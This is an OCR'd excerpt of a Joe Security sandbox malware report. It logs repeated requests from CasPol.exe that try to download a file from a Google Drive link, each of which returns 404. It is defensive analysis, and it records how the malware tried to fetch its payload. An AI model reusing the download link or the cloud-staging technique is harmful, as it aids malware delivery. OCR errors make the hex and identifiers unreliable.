2021-11-24 10:54:45 UTC 27

2021-11-24 10:54:45 UTC 28

2021-11-24 10:54:45 UTC 28

Session ID Source IP

19 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:46 UTC 28

2021-11-24 10:54:46 UTC 29

2021-11-24 10:54:46 UTC 29

2021-11-24 10:54:46 UTC 30

Session ID Source IP
2 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49841

Direction

ouT

Source Port

49824

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-F/O5GHFo+9f4pkrQYbR1RQ' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:45 GMT

Expires: Wed, 24 Nov 2021 10:54:45 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-p8lat3cYfQk5hGrwz9f8cg' ‘unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:46 GMT

Expires: Wed, 24 Nov 2021 10:54:46 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:38 UTC 3

2021-11-24 10:54:39 UTC 3

2021-11-24 10:54:39 UTC 4

2021-11-24 10:54:39 UTC 4

Session ID Source IP

20 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:46 UTC 30

2021-11-24 10:54:46 UTC 30

2021-11-24 10:54:46 UTC 31

2021-11-24 10:54:46 UTC 31

Session ID Source IP
21 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49842

Direction

ouTt

Source Port

49843

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-1G/HuapWhbxyp3NfThOHzgQ' ‘'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:54:38 GMT

Expires: Wed, 24 Nov 2021 10:54:38 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-AixVGn4ccalO6d8Bf+4XEA' 'unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:46 GMT

Expires: Wed, 24 Nov 2021 10:54:46 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:47 UTC 31

2021-11-24 10:54:47 UTC 31

2021-11-24 10:54:47 UTC 32

2021-11-24 10:54:47 UTC 33

Session ID Source IP

22 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:47 UTC 33

2021-11-24 10:54:47 UTC 33

2021-11-24 10:54:47 UTC 34

2021-11-24 10:54:47 UTC 34

Session ID Source IP
23 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49844

Direction

ouT

Source Port

49845

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-sdMDnQ/wltcGemAR9AWSIA' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:54:47 GMT

Expires: Wed, 24 Nov 2021 10:54:47 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-GJQMQH8dkdnDtO1zg0OBDg' ‘unsafe-inline' 'strict-dynamic' https: http: 'unsafe
-eval';object-src 'none’;base-uri ‘self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:54:47 GMT

Expires: Wed, 24 Nov 2021 10:54:47 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:47 UTC 34

2021-11-24 10:54:48 UTC 34

2021-11-24 10:54:48 UTC 35

2021-11-24 10:54:48 UTC 36

Session ID Source IP

24 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:48 UTC 36

2021-11-24 10:54:48 UTC 36

2021-11-24 10:54:48 UTC 37

2021-11-24 10:54:48 UTC 37

Session ID Source IP
25 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49846

Direction

ouTt

Source Port

49847

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-cFOWIoNS6St57wFhw+hgOQ' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:54:48 GMT

Expires: Wed, 24 Nov 2021 10:54:48 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-KJiTFUX/t9LkIXx2LybIXQ'" ‘'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:48 GMT

Expires: Wed, 24 Nov 2021 10:54:48 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:48 UTC 37

2021-11-24 10:54:48 UTC 37

2021-11-24 10:54:48 UTC 38

2021-11-24 10:54:48 UTC 39

Session ID Source IP

26 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:49 UTC 39

2021-11-24 10:54:49 UTC 39

2021-11-24 10:54:49 UTC 40

2021-11-24 10:54:49 UTC 40

Session ID Source IP
27 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49848

Direction

ouTt

Source Port

49849

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-CqHMQghRozubeRBpdO0gAQ' ‘'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe
-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:54:48 GMT

Expires: Wed, 24 Nov 2021 10:54:48 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-jEOsROt65xYykdYWIoukSA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:54:49 GMT

Expires: Wed, 24 Nov 2021 10:54:49 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

